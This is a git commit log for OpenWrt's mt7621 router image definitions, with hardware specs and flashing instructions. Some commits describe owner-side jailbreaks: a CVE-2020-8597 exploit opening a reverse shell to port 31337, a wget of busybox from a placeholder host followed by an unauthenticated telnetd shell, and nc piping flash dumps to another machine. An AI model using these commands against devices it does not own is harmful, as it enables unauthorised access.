aboutsummaryrefslogtreecommitdiffstats
path: root/target/linux/ramips/image/mt7621.mk
Commit message (Collapse)AuthorAgeFilesLines
* ramips: add support for D-Link DIR-1960 A1Josh Bendavid2020-07-271-0/+23
| | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | This patch adds support for D-Link DIR-1960 A1. Given the similarity with the DIR-1760/2660 A1, this patch also introduces a common DTSI which can be shared with these devices, with support to be added in future commits. Specifications: * Board: AP-MTKH7-0002 * SoC: MediaTek MT7621AT * RAM: 256 MB (DDR3) * Flash: 128 MB (NAND) * WiFi: MediaTek MT7615N (x2) * Switch: 1 WAN, 4 LAN (Gigabit) * Ports: 1 USB 3.0 * Buttons: Reset, WPS * LEDs: Power (white/orange), Internet (white/orange), WiFi 2.4G (white), WiFi 5G (white), USB 3.0 (white) Notes: * WiFi 2.4G and WiFi 5G LEDs are wired directly to the wireless chips Installation: * D-Link Recovery GUI: power down the router, press and hold the reset button, then re-plug it. Keep the reset button pressed until the power LED starts flashing orange, manually assign a static IP address under the 192.168.0.xxx subnet (e.g. 192.168.0.2) and go to http://192.168.0.1 * Some modern browsers may have problems flashing via the Recovery GUI, if that occurs consider uploading the firmware through cURL: curl -v -i -F "firmware=@file.bin" 192.168.0.1 MAC addresses: lan factory 0xe000 *:EB (label) wan factory 0xe006 *:EE 2.4 factory 0xe000 +1 *:EC 5.0 factory 0xe000 +2 *:ED Seems like vendor didn't replace the dummy entrys in the calibration data. Signed-off-by: Josh Bendavid <joshbendavid@gmail.com> [fix whitespace issues, create patch to merge DIR-1960 first, move special WiFi MAC settings to DTS, extend commit message] Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
* ramips: add support for Winstars WS-WN583A6Davide Fioravanti2020-07-251-0/+12
| | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | The Winstars WS-WN583A6 is a wireless repeater with 2 gigabit ethernet ports. Even if mine is branded as "Gemeita AC2100", the sticker on the back says WS-WN583A6. So I will refer to it as Winstars WS-WN583A6. Probably the real product name is the Wavlink WL-WN583A6 because of the many references to Wavlink in the OEM firmware and bootlog. Hardware -------- SoC: Mediatek MT7621AT (880 MHz, 2 cores 4 threads) RAM: 128MB FLASH: 8MB NOR (GigaDevice GD25Q64B) ETH: 2x 10/100/1000 Mbps Ethernet (MT7530) WIFI: - 2.4GHz: 1x MT7603E (2x2:2) - 5GHz: 1x MT7615E (4x4:4) - 6 internal antennas BTN: - 1x Reset button - 1x WPS button - 1x ON/OFF switch (working but unmodifiable) - 1x Auto/Schedule switch (working but unmodifiable. Read Note #3) LEDS: - 1x White led - 1x Red led - 1x Amber led - 1x Blue led - 2x Blue leds (lan and wan port status: working but unmodifiable) UART: - 57600-8-N-1 Everything works correctly. Currently there is no firmware update available. Because of this, in order to restore the OEM firmware, you must firstly dump the OEM firmware from your router before you flash the OpenWrt image. Backup the OEM Firmware ----------------------- The following steps are to be intended for users having little to none experience in linux. Obviously there are many ways to backup the OEM firmware, but probably this is the easiest way for this router. Procedure tested on M83A6.V5030.191210 firmware version. 1) Go to http://192.168.10.1/webcmd.shtml 2) Type the following line in the "Command" input box: mkdir /etc_ro/lighttpd/www/dev; for i in /dev/mtd*ro; do dd if=${i} of=/etc_ro/lighttpd/www${i}; done 3) Click "Apply" 4) After few seconds, in the textarea should appear this output: 16384+0 records in 16384+0 records out 8388608 bytes (8.0MB) copied, 4.038820 seconds, 2.0MB/s 384+0 records in 384+0 records out 196608 bytes (192.0KB) copied, 0.095180 seconds, 2.0MB/s 128+0 records in 128+0 records out 65536 bytes (64.0KB) copied, 0.032020 seconds, 2.0MB/s 128+0 records in 128+0 records out 65536 bytes (64.0KB) copied, 0.031760 seconds, 2.0MB/s 15744+0 records in 15744+0 records out 8060928 bytes (7.7MB) copied, 3.885280 seconds, 2.0MB/s dd: can't open '/dev/mtd5ro': No such device dd: can't open '/dev/mtd6ro': No such device dd: can't open '/dev/mtd7ro': No such device Excluding the "X.XXXXXX seconds" part, you should get the same exact output. If your output doesn't match mine, stop reading and ask for help in the forum. 5) Open the following links to download the partitions of the OEM FW: http://192.168.10.1/dev/mtd0ro http://192.168.10.1/dev/mtd1ro http://192.168.10.1/dev/mtd2ro http://192.168.10.1/dev/mtd3ro http://192.168.10.1/dev/mtd4ro If one (or more) of these files weight 0 byte, stop reading and ask for help in the forum. 6) Store these downloaded files in a safe place. 7) Reboot your router to remove any temporary file from your router. Installation ------------ Flash the initramfs image in the OEM firmware interface. When openwrt boots, flash the sysupgrade image otherwise you won't be able to keep configuration between reboots. Restore OEM Firmware -------------------- Flash the "mtd4ro" file you previously backed-up directly from LUCI. Warning: Remember to not keep settings! Warning2: Remember to force the flash. Notes ----- 1) The "System Command" page allows to run every command as root. For example you can use "dd" and "nc" to backup the OEM firmware. PC (SERVER): nc -l 5555 > ./mtdXro ROUTER (CLIENT): dd if=/dev/mtdXro | nc PC_IP_ADDRESS 5555 2) The OEM web interface accepts only images containing the string "WN583A6" in the filename. Currently the OEM interface accepts only the initramfs image probably because it checks if the ih_size in the image header is equal to the whole image size (instead of the kernel size) Read more here: https://forum.openwrt.org/t/support-for-strong-1200/22768/19 3) The white led (namely "Smart Night Light") can be controller by the user only if the side switch is set to "Schedule" otherwise it will be activated by the light condition (there is a photodiode on the top side of the router) 4) Router mac addresses: LAN XX:XX:XX:XX:XX:8F WAN XX:XX:XX:XX:XX:90 WIFI 2G XX:XX:XX:XX:XX:91 WIFI 5G XX:XX:XX:XX:XX:92 LABEL XX:XX:XX:XX:XX:91 Signed-off-by: Davide Fioravanti <pantanastyle@gmail.com> [remove chosen node, fix whitespace] Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
* ramips: add support for D-Link DIR-867/DIR-882 A1Mateus B. Cassiano2020-07-161-9/+28
| | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | This patch adds support for D-Link DIR-867 A1 and D-Link DIR-882 A1. Given the similarity of these devices, this patch also introduces a common DTS shared between DIR-867 A1, DIR-878 A1 and DIR-882 A1. Specifications: * Board: AP-MTKH7-0002 * SoC: MediaTek MT7621AT * RAM: 128 MB (DDR3) * Flash: 16 MB (SPI NOR) * WiFi: MediaTek MT7615N (x2) * Switch: 1 WAN, 4 LAN (Gigabit) * Ports: 1 USB 2.0, 1 USB 3.0 * Buttons: Reset, WiFi Toggle, WPS * LEDs: Power (green/orange), Internet (green/orange), WiFi 2.4G (green), WiFi 5G (green), USB 2.0 (green), USB 3.0 (green) Notes: * WiFi 2.4G and WiFi 5G LEDs are wired directly to the wireless chips * DIR-867 wireless chips are limited to 3x3 streams at hardware level * USB ports and related LEDs available only on DIR-882 Serial port: * Parameters: 57600, 8N1 * Location: J1 header (close to the Reset, WiFi and WPS buttons) * Pinout: 1 - VCC 2 - RXD 3 - TXD 4 - GND Installation: * D-Link Recovery GUI: power down the router, press and hold the reset button, then re-plug it. Keep the reset button pressed until the power LED starts flashing orange, manually assign a static IP address under the 192.168.0.xxx subnet (e.g. 192.168.0.2) and go to http://192.168.0.1 * Some modern browsers may have problems flashing via the Recovery GUI, if that occurs consider uploading the firmware through cURL: curl -v -i -F "firmware=@file.bin" 192.168.0.1 Signed-off-by: Mateus B. Cassiano <mbc07@live.com> [move DEVICE_VARIANT to individual definitions] Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
* ramips: add support for Linksys EA7300 v1Santiago Rodriguez-Papa2020-07-161-6/+20
| | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | Specifications: * SoC: MediaTek MT7621A (880 MHz 2c/4t) * RAM: Nanya NT5CC128M16IP-DIT (256M DDR3-1600) * Flash: Macronix MX30LF1G18AC-TI (128M NAND) * Eth: MediaTek MT7621A (10/100/1000 Mbps x5) * Radio: MT7615N (2.4 GHz & 5 GHz) 4 antennae: 1 internal and 3 non-deatachable * USB: 3.0 (x1) * LEDs: White (x1 logo) Green (x6 eth + wps) Orange (x5, hardware-bound) * Buttons: Reset (x1) WPS (x1) Everything works! Been running it for a couple weeks now and haven't had any problems. Please let me know if you run into any. Installation: Flash factory image through GUI. This might fail due to the A/B nature of this device. When flashing, OEM firmware writes over the non-booted partition. If booted from 'A', flashing over 'B' won't work. To get around this, you should flash the OEM image over itself. This will then boot the router from 'B' and allow you to flash OpenWRT without problems. Reverting to factory firmware: Hard-reset the router three times to force it to boot from 'B.' This is where the stock firmware resides. To remove any traces of OpenWRT from your router simply flash the OEM image at this point. Signed-off-by: Santiago Rodriguez-Papa <contact@rodsan.dev> [use v1 only, minor DTS adjustments, use LINKSYS_HWNAME and add it to DEVICE_VARS, wrap DEVICE_PACKAGES, adjust commit message/title] Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
* ramips: provide common definition for ELECOM WRC GS devicesAdrian Schmutzler2020-07-161-30/+19
| | | | | | | | | | | | | | Add a common definition for ELECOM WRC "GS" devices to mt7621.mk to not repeat the same assignments five times. To keep the naming consistent, slightly rename the DTSI and the factory image recipe as well. Note that elecom_wrc-1167ghbk2-s uses a slightly different build recipe for the factory image, so we keep it separate. Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de> Tested-by: INAGAKI Hiroshi <musashino.open@gmail.com> [WRC-1750GSV]
* ramips: add support for ELECOM WRC-1750GS/GSVINAGAKI Hiroshi2020-07-161-0/+24
| | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | ELECOM WRC-1750GS is a 2.4/5 GHz band 11ac (Wi-Fi 5) router, based on MT7621A. WRC-1750GSV has the same hardware with WRC-1750GS. Specification: - SoC : MediaTek MT7621A - RAM : DDR3 128 MiB - Flash : SPI-NOR 16 MiB - WLAN : 2.4/5 GHz 3T3R (2x MediaTek MT7615) - Ethernet : 10/100/1000 Mbps x5 - Switch : MediaTek MT7530 (SoC) - LED/keys : 4x/6x (2x buttons, 1x slide-switch) - UART : through-hole on PCB - J4: 3.3V, GND, TX, RX from ethernet port side - 57600n8 - Power : 12VDC, 1.5A Flash instruction using factory image: 1. Boot WRC-1750GS (or WRC-1750GSV) normally 2. Access to "http://192.168.2.1/" and open firmware update page ("ファームウェア更新") 3. Select the OpenWrt factory image and click apply ("適用") button for WRC-1750GS : wrc-1750gs-squashfs-factory.bin for WRC-1750GSV: wrc-1750gsv-squashfs-factory.bin 4. Wait ~120 seconds to complete flashing Signed-off-by: INAGAKI Hiroshi <musashino.open@gmail.com>
* ramips: add support for D-Link DIR-878 A1Mathieu Martin-Borret2020-07-131-0/+15
| | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | Specifications: SoC: MT7621AT RAM: 128MB Flash: 16MB NOR SPI flash WiFi: MT7615N (2.4GHz) and MT7615N (5Ghz) LAN: 5x1000M Firmware layout is Uboot with extra 96 bytes in header Base PCB is AP-MTKH7-0002 LEDs Power Green,Power Orange,Internet Green,Internet Orange LEDs "2.4G" Green & "5G" Green connected directly to wifi module Buttons Reset,WPS,WIFI Flashing instructions: Upload image via emergency recovery mode Push and hold reset button (on the back of the device) until power led starts flashing (about 10 secs or so) while powering the device on. Give it ~30 seconds, to boot the recovery mode GUI Connect your client computer to LAN1 of the device Set your client IP address manually to 192.168.0.2 / 255.255.255.0. Call the recovery page for the device at http://192.168.0.1 Use the provided emergency web GUI to upload and flash a new firmware to the device. Some browsers/OS combinations are known not to work, so if you don't see the percentage complete displayed and moving within a few seconds, restart the procedure from scratch and try anoher one, or try the command line way. Alternative method using command line on Linux: curl -v -i -F "firmware=@openwrt-xxxx-squashfs-factory.bin" 192.168.0.1 Signed-off-by: Mathieu Martin-Borret <mathieu.mb@protonmail.com> [use of generic uimage-padhdr in image generation code] Signed-off-by: Petr Štetiar <ynezz@true.cz>
* ramips: consolidate Netgear devices for mt7628Adrian Schmutzler2020-07-131-1/+1
| | | | | | | | | | | | | | | This creates a common DTSI and shared image definition for the relatively similar Netgear devices for mt7628 platform. As a side effect, this raises SPI flash frequency for the R6120, as it's expected to work there as well if it works for R6080 and R6020. Based on the data from the other devices, it also seems probable the 5g MAC address for R6120 could be extracted from the caldata, and the mtd-mac-address there could be dropped. Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
* ramips: consolidate recipes with uimage_padhdrAdrian Schmutzler2020-07-111-6/+1
| | | | | | | | | | | There are already two very similar recipes using uimage_padhdr in ramips target, and a third one is about to be added. Make the recipe more generic, so redefinitions are not necessary anymore. Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de> Tested-by: Bjørn Mork <bjorn@mork.no> [Zyxel WAP6805]
* ramips: mt7621: use lzma-loader for ra21s & rg21sFurkan Alaca2020-07-081-0/+2
| | | | | | | | | | The rg21s fails to boot if the kernel is larger than about 2,376 KiB. The ra21s is virtually identical hardware. Enabling lzma-loader resolves the issue on both the rg21s and ra21s (see FS#3057 on the issue tracker). Fixes: FS#3057 Signed-off-by: Furkan Alaca <furkan.alaca@queensu.ca>
* ramips: move adslr_g7 in image/mt7621.mk to keep sortingAdrian Schmutzler2020-07-081-8/+8
| | | | | | | Move this device to the top to maintain alphabetic sorting in the file. Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
* ramips: add missing kmod-mt7615-firmware for TP-Link RE500 v1Adrian Schmutzler2020-07-081-1/+1
| | | | | | | | | Adding this has been overlooked when rebasing the commit prior to merge. Fixes: ba0f4f0cfddc ("ramips: add support for TP-Link RE500 v1") Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
* ramips: add support for ZyXEL WAP6805 (Altibox WiFi+)Bjørn Mork2020-07-081-0/+19
| | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | Hardware -------- SoC: MediaTek MT7621ST WiFi: MediaTek MT7603 Quantenna QT3840BC Flash: 128M NAND RAM: 64M LED: Dual colour red and green BTN: Reset WPS Eth: 4 x 10/100/1000 connected to MT7621 internal switch MT7621 RGMII port connected to Quantenna module GPIO: Power/reset of Quantenna module Quantenna module ---------------- The Quantenna QT3840BC (or QV840) is a separate SoC running another Linux installation. It is mounted on a wide mini-PCIe form factor module, but is connected to the RGMII port of the MT7621. It loads both a second uboot stage and an os image from the MT7621 using tftp. The module is configured using Quantenna specific RPC calls over IP, using 802.1q over the RGMII link to support multiple SSIDs. There is no support for using this module as a WiFi device in OpenWrt. A package with basic firmware and management tools is being prepared. Serial ports ------------ Two serial ports with headers: RRJ1 - 115200 8N1 - Connected to the Quantenna console J1 - 57600 8N1 - Connected to the MT7621 console Both share pinout with many other Zyxel/Mitrastar devices: 1 - NC (VDD) 2 - TX 3 - RX 4 - NC (no pin) 5 - GND Dual system partitions ---------------------- The vendor firmware and boot loader use a dual partition scheme storing a counter in the header of each partition. The partition with the highest number will be selected for boot. OpenWrt does not support this scheme and will always use the first OS partition. It will reset both counters to zero the first time sysupgrade is run, making sure the first partition is selected by the boot loader. Installation from vendor firmware --------------------------------- 1. Run a DHCP server. The WAP6805 is configured as a client device and does not have a default static IP address. Make a note of which address it is assigned 2. tftp the OpenWrt initramfs-kernel.bin image to this address. Wait for the WAP6805 to reboot. 3. ssh to the OpenWrt initramfs system on 192.168.1.1. Make a backup of all mtd partitions now. The last used OEM image is still present in either "Kernel" or "Kernel2" at this point, and can be restored later if you save a copy. 4. sysupgrade to the OpenWrt sysupgrade.bin image. Installation from U-Boot ------------------------ This requires serial console access 1. Copy the OpenWrt initramfs-kernel.bin image as "ras.bin" to your tftp server directory. Configure the server address as 192.168.0.33/24 2. Hit ESC when the message "Hit ESC key to stop autoboot" appears 3. Type "ATGU" + Enter, and then "2" immediately after pressing enter. 4. Answer Y to the question "Erase Linux in Flash then burn new one. Are you sure?", and answer the address/filename questions. Defaults: Input device IP (192.168.0.2) Input server IP (192.168.0.33) Input Linux Kernel filename ("ras.bin") 5. Wait until after you see the message "Done!" and power cycle the device. It will hang after flashing. 6. Continue with step 3 and 4 from the vendor firmware procedure. Notes on the WAP6805 U-Boot --------------------------- The bootloader has been modified with both ZyXELs zyloader and the device specific dual partition scheme. These changes appear to have broken a few things. The zyloader shell claims to support a number of ZyXEL AT commands, but not all of them work. The image selection scheme is unreliable and inconsistent. A limited U-Boot menu is available - and used by the above U-Boot install procedure. But direct booting into an uploaded image does not work, neither with ram nor with flash. Flashing works, but requires a hard reset after it is finished. Reverting to OEM firmware ------------------------- The OEM firmware can be restored by using mtd write from OpenWrt, flashing it to the "Kernel" partition. E.g. ssh root@192.168.1.1 "mtd -r -e Kernel write - Kernel" < oem.bin OEM firmwares for the WAP6805 are not avaible for public download, so a backup of the original installation is required. See above. Alternatively, firmware for the WAP6806 (Armor X1) may be used. This is exactly the same hardware. But the branding features do obviously differ. LED controller -------------- Hardware implementation is unknown. The dual-color LED is controlled by 3 GPIOs: 4: red 7: blinking green 13: green Enabling both red and green makes the LED appear yellow. The boot loader enables hardware blinking, causing the green LED to blink slowly on power-on, until the OpenWrt boot mode starts a faster software blink. Signed-off-by: Bjørn Mork <bjorn@mork.no> [fix alphabetic sorting for image build statement] Signed-off-by: Petr Štetiar <ynezz@true.cz>
* ramips: Add support for Xiaomi Mi Router(Black,R2100)Emir Efe Kucuk2020-07-081-12/+22
| | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | The Xiaomi Mi Router AC2100 is a *black* cylindrical router that shares many characteristics (apart from its looks and the GPIO ports) with the 6-antenna *white* "Xiaomi Redmi Router AC2100" See the visual comparison of the two routers here: https://github.com/emirefek/openwrt-R2100/raw/imgcdn/rm2100-r2100.jpg Specification of R2100: - CPU: MediaTek MT7621A - RAM: 128 MB DDR3 - FLASH: 128 MB ESMT NAND - WIFI: 2x2 802.11bgn (MT7603) - WIFI: 4x4 802.11ac (MT7615) - ETH: 3xLAN+1xWAN 1000base-T - LED: Power, WAN in Yellow and Blue - UART: On board (Don't know where is should be confirmed by anybody else) - Modified u-boot Hacking of official firmware process is same at both RM2100 and R2100. Thanks to @namidairo Here is the detailed guide Hack: https://github.com/impulse/ac2100-openwrt-guide Guide is written for MacOS but it will work at linux. needed packages: python3(with scapy), netcat, http server, telnet client 1. Run PPPoE&exploit to get nc and wget busybox, get telnet and wget firmware 2. mtd write openwrt-ramips-mt7621-xiaomi_mi-router-ac2100-kernel1.bin kernel1 3. nvram set uart_en=1 4. nvram set bootdelay=5 5. nvram set flag_try_sys1_failed=1 6. nvram commit 7. mtd -r write openwrt-ramips-mt7621-xiaomi_mi-router-ac2100-rootfs0.bin rootfs0 other than these I specified in here. Everything is same with: https://github.com/openwrt/openwrt/commit/f3792690c4f0567a8965d82898295b9d50c3bb7e Thanks for all community and especially for this device: @Ilyas @scp07 @namidairo @Percy @thorsten97 @impulse (names@forum.openwrt.com) MAC Locations: WAN *:b5 = factory 0xe006 LAN *:b6 = factory 0xe000 WIFI 5ghz *:b8 = factory 0x8004 WIFI 2.4ghz *:b7 = factory 0x0004 Signed-off-by: Emir Efe Kucuk <emirefek@gmail.com> [refactored common image bits into Device/xiaomi-ac2100, fixed From:] Signed-off-by: Petr Štetiar <ynezz@true.cz>
* ramips: add support for Edimax Gemini RE23SDavide Fioravanti2020-07-081-0/+18
| | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | Hardware -------- SoC: Mediatek MT7621AT (880 MHz, 2 cores 4 threads) RAM: 128MB FLASH: 16MB NOR (Macronix MX25L12805D) ETH: 1x 10/100/1000 Mbps Ethernet (MT7530) WIFI: - 2.4GHz: 1x MT7615 (4x4:4) - 5GHz: 1x MT7615 (4x4:4) - 4 antennas: 2 external detachable and 2 internal BTN: - 1x Reset button - 1x WPS button LEDS: - 1x Green led (Power) - 1x Green-Amber-Red led (Wifi) UART: - 57600-8-N-1 Everything works correctly. Installation ------------ Flash the factory image directly from OEM web interface. (You can login using these credentials: admin/1234) Restore OEM Firmware -------------------- Flash the OEM "bin" firmware directly from LUCI. The firmware is downloadable from the OEM web page. Warning: Remember to not keep settings! Warning2: Remember to force the flash. Restoring procedure tested with RE23_1.08.bin MAC addresses ------------- factory 0x4 *:24 factory 0x8004 *:25 Cimage 0x07 *:24 Cimage 0x0D *:24 Cimage 0x13 *:24 Cimage 0x19 *:25 No other addresses were found in factory partition. Since the label contains both the 2.4GHz and 5GHz mac address I decided to set the 5GHz one as label-mac-device. Moreover it also corresponds to the lan mac address. Notes ----- The wifi led in the OEM firmware changes colour depending on the signal strength. This can be done in OpenWrt but just for one interface. So for now will not be any default action for this led. If you want to open the case, pay attention to the antenna placed on the bottom part of the front cover. The wire is a bit short and it breaks easily. (I broke it) Signed-off-by: Davide Fioravanti <pantanastyle@gmail.com> [fix two typos and add extended MAC address section to commit message] Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
* ramips: add support for TP-Link RE500 v1Christoph Krapp2020-07-071-0/+10
| | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | This device uses the same hardware as RE650 v1 which got supported in 8c51dde. Hardware specification: - SoC 880 MHz - MediaTek MT7621AT - 128 MB of DDR3 RAM - 16 MB - Winbond 25Q128FVSG - 4T4R 2.4 GHz - MediaTek MT7615E - 4T4R 5 GHz - MediaTek MT7615E - 1x 1 Gbps Ethernet - MT7621AT integrated - 7x LEDs (Power, 2G, 5G, WPS(x2), Lan(x2)) - 4x buttons (Reset, Power, WPS, LED) - UART header (J1) - 2:GND, 3:RX, 4:TX Serial console @ 57600,8n1 Flash instructions: Upload openwrt-ramips-mt7621-tplink_re500-v1-squashfs-factory.bin from the RE500 web interface. TFTP recovery to stock firmware: Unfortunately, I can't find an easy way to recover the RE without opening the device and using modified binaries. The TFTP upload will only work if selected from u-boot, which means you have to open the device and attach to the serial console. The TFTP update procedure does *not* accept the published vendor firmware binaries. However, it allows to flash kernel + rootfs binaries, and this works if you have a backup of the original contents of the flash. It's probably possible to create special image out of the vendor binaries and use that as recovery image. Signed-off-by: Christoph Krapp <achterin@googlemail.com> [remove dts-v1 in DTSI, do not touch WiFi LEDs for RE650, keep state_default in DTS files, fix label-mac-device, use lower case for WiFi LEDs] Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
* ramips: add support for NETGEAR WAC124Jan Hoffmann2020-06-271-0/+12
| | | | | | | | | | | | | | | | | | | | | The WAC124 hardware appears to be identical to R6260/R6350/R6850. SoC: MediaTek MT7621AT RAM: 128M DDR3 FLASH: 128M NAND (Macronix MX30LF1G18AC) WiFI: MediaTek MT7603 bgn 2T2R MediaTek MT7615 nac 4T4R ETH: SoC Integrated Gigabit Switch (1x WAN, 4x LAN) USB: 1x USB 2.0 BTN: Reset, WPS LED: Power, Internet, WiFi, USB (all green) Installation: The factory image can be flashed from the stock firmware web interface or using nmrpflash. With nmrpflash it is also possible to revert to stock firmware. Signed-off-by: Jan Hoffmann <jan@3e8.eu>
* ramips: add support for ELECOM WRC-2533GST2INAGAKI Hiroshi2020-06-211-0/+12
| | | | | | | | | | | | | | | | | | | | | | | | | | | | | ELECOM WRC-2533GST2 is a 2.4/5 GHz band 11ac (Wi-Fi 5) router, based on MT7621A. Specification: - SoC : MediaTek MT7621A - RAM : DDR3 256 MiB - Flash : SPI-NOR 32 MiB - WLAN : 2.4/5 GHz 4T4R (2x MediaTek MT7615) - Ethernet : 10/100/1000 Mbps x5 - Switch : MediaTek MT7530 (SoC) - LED/keys : 4x/6x (2x buttons, 1x slide-switch) - UART : through-hole on PCB - J4: 3.3V, GND, TX, RX from ethernet port side - 57600n8 - Power : 12VDC, 1.5A Flash instruction using factory image: 1. Boot WRC-2533GST2 normally 2. Access to "http://192.168.2.1/" and open firmware update page ("ファームウェア更新") 3. Select the OpenWrt factory image and click apply ("適用") button 4. Wait ~150 seconds to complete flashing Signed-off-by: INAGAKI Hiroshi <musashino.open@gmail.com>
* ramips: add MT7615 wireless support for ELECOM WRC-GST devicesINAGAKI Hiroshi2020-06-211-0/+2
| | | | | | | | | ELECOM WRC-1900GST and WRC-2533GST have two MT7615 chips for 2.4/5 GHz wireless. Signed-off-by: INAGAKI Hiroshi <musashino.open@gmail.com> [WRC-1900GST] Acked-by: NOGUCHI Hiroshi <drvlabo@gmail.com>
* ramips: mt7621: add support for NETGEAR WAC104Pawel Dembicki2020-06-121-0/+12
| | | | | | | | | | | | | | | | | | | | | | | | NETGEAR WAC104 is an AP based on castrated R6220, without WAN port and USB. SoC: MediaTek MT7621ST RAM: 128M DDR3 FLASH: 128M NAND WiFi: MediaTek MT7612EN an+ac MediaTek MT7603EN bgn ETH: MediaTek MT7621ST (4x LAN) BTN: 1x Connect (WPS), 1x WLAN, 1x Reset LED: 7x (3x GPIO controlled) Installation: Login to netgear webinterface and flash factory.img Back to stock: Use nmrpflash to revert stock image. Signed-off-by: Pawel Dembicki <paweldembicki@gmail.com>
* ramips/mediatek: select kmod-mt7615-firmware where kmod-mt7615e is selectedFelix Fietkau2020-06-041-26/+26
| | | | | | | The new mt76 version splits out the firmware, because the driver can also be used for MT7663/MT7613 Signed-off-by: Felix Fietkau <nbd@nbd.name>
* ramips: add alternative name for Buffalo WSR-2533DHPINAGAKI Hiroshi2020-05-241-0/+2
| | | | | | | Buffalo WSR-2533DHP is identical to the WSR-2533DHPL, Buffalo sold it with renaming. Signed-off-by: INAGAKI Hiroshi <musashino.open@gmail.com>
* ramips: Add support for Xiaomi Redmi Router AC2100 (RM2100)Richard Huynh2020-05-201-0/+17
| | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | Specification: - CPU: MediaTek MT7621A - RAM: 128 MB DDR3 - FLASH: 128 MB ESMT NAND - WIFI: 2x2 802.11bgn (MT7603) - WIFI: 4x4 802.11ac (MT7615) - ETH: 3xLAN+1xWAN 1000base-T - LED: Power, WAN, in Amber and White - UART: On board near ethernet, opposite side from power - Modified u-boot Installation: 1. Run linked exploit to get shell, startup telnet and wget the files over 2. mtd write openwrt-ramips-mt7621-xiaomi_rm2100-squashfs-kernel1.bin kernel1 3. nvram set uart_en=1 4. nvram set bootdelay=5 5. nvram set flag_try_sys1_failed=1 6. nvram commit 7. mtd -r write openwrt-ramips-mt7621-xiaomi_rm2100-squashfs-rootfs0.bin rootfs0 Restore to stock: 1. Setup PXE and TFTP server serving stock firmware image (See dhcp-boot option of dnsmasq) 2. Hold reset button down before powering on and wait for flashing amber led 3. Release reset button 4. Wait until status led changes from flashing amber to white Notes: This device has dual kernel and rootfs slots like other Xiaomi devices currently supported (mir3g, etc.) thus, we use the second slot and overwrite the first rootfs onwards in order to get more space. Exploit and detailed instructions: https://openwrt.org/toh/xiaomi/xiaomi_redmi_router_ac2100 An implementation of CVE-2020-8597 against stock firmware version 1.0.14 This requires a computer with ethernet plugged into the wan port and an active PPPoE session, and if successful will open a reverse shell to 192.168.31.177 on port 31337. As this shell is somewhat unreliable and likely to be killed in a random amount of time, it is recommended to wget a static compiled busybox binary onto the device and start telnetd with it. The stock telnetd and dropbear unfortunately appear inoperable. (Disabled on release versions of stock firmware likely) Ie. wget https://yourip/busybox-mipsel -O /tmp/busybox chmod a+x /tmp/busybox /tmp/busybox telnetd -l /bin/sh Tested-by: David Martinez <bonkilla@gmail.com> Signed-off-by: Richard Huynh <voxlympha@gmail.com>
* ramips: fix initramfs image for I-O DATA mt7621 devicesINAGAKI Hiroshi2020-05-191-6/+6
| | | | | | | | | | | | | | | This is additional fix of c998ae7f0e9bd51be4935055efbc3834a92698b1. The sysupgrade image of I-O DATA MT7621 devices manufactured by MSTC (MitraStar Technology Corp.) faced to the booting issue. This was caused by imcomplete extraction of large kernel image by U-Boot, and this issue is occurred in initramfs image after fixing of sysupgrade image. So, use lzma-loader for initramfs image to fix the issue. Signed-off-by: INAGAKI Hiroshi <musashino.open@gmail.com> Co-developed-by: Yanase Yuki <dev@zpc.sakura.ne.jp> Signed-off-by: Yanase Yuki <dev@zpc.sakura.ne.jp> Tested-by: Yanase Yuki <dev@zpc.sakura.ne.jp> [wn-ax2033gr]
* mt7621: Make ER-X-SFP factory image compatible with EP-R6Fabian Bläse2020-05-181-1/+1
| | | | | | | | | | | | | | | | | | | | | | | The version inside the compat file determines, if a firmware supports a specific device. I have not yet fully understood, how this is checked, but it only seems to indicate which devices are supported by a specific version of the combined vendor firmware. Devices assume that subsequent versions, starting with the version that initially added support for a specific device, are always compatible. The first compat version that added support for the EP-R6 was '21001:7', but OpenWrt did use '21001:6' before. This is why the factory image could not be flashed using the vendor software, but only using TFTP. The compat version has been bumped by the vendor a few times, but more devices have been added since (e.g. ER-10X). Because OpenWrt currently only supports the ER-X, ER-X-SFP and EP-R6, the compat version is incremented to the version that first supported the EP-R6, which is '21001:7'. This allows the factory image to be flashed on EP-R6 without TFTP. Signed-off-by: Fabian Bläse <fabian@blaese.de>
* ramips: add support for Linksys EA7500 v2Davide Fioravanti2020-05-171-0/+18
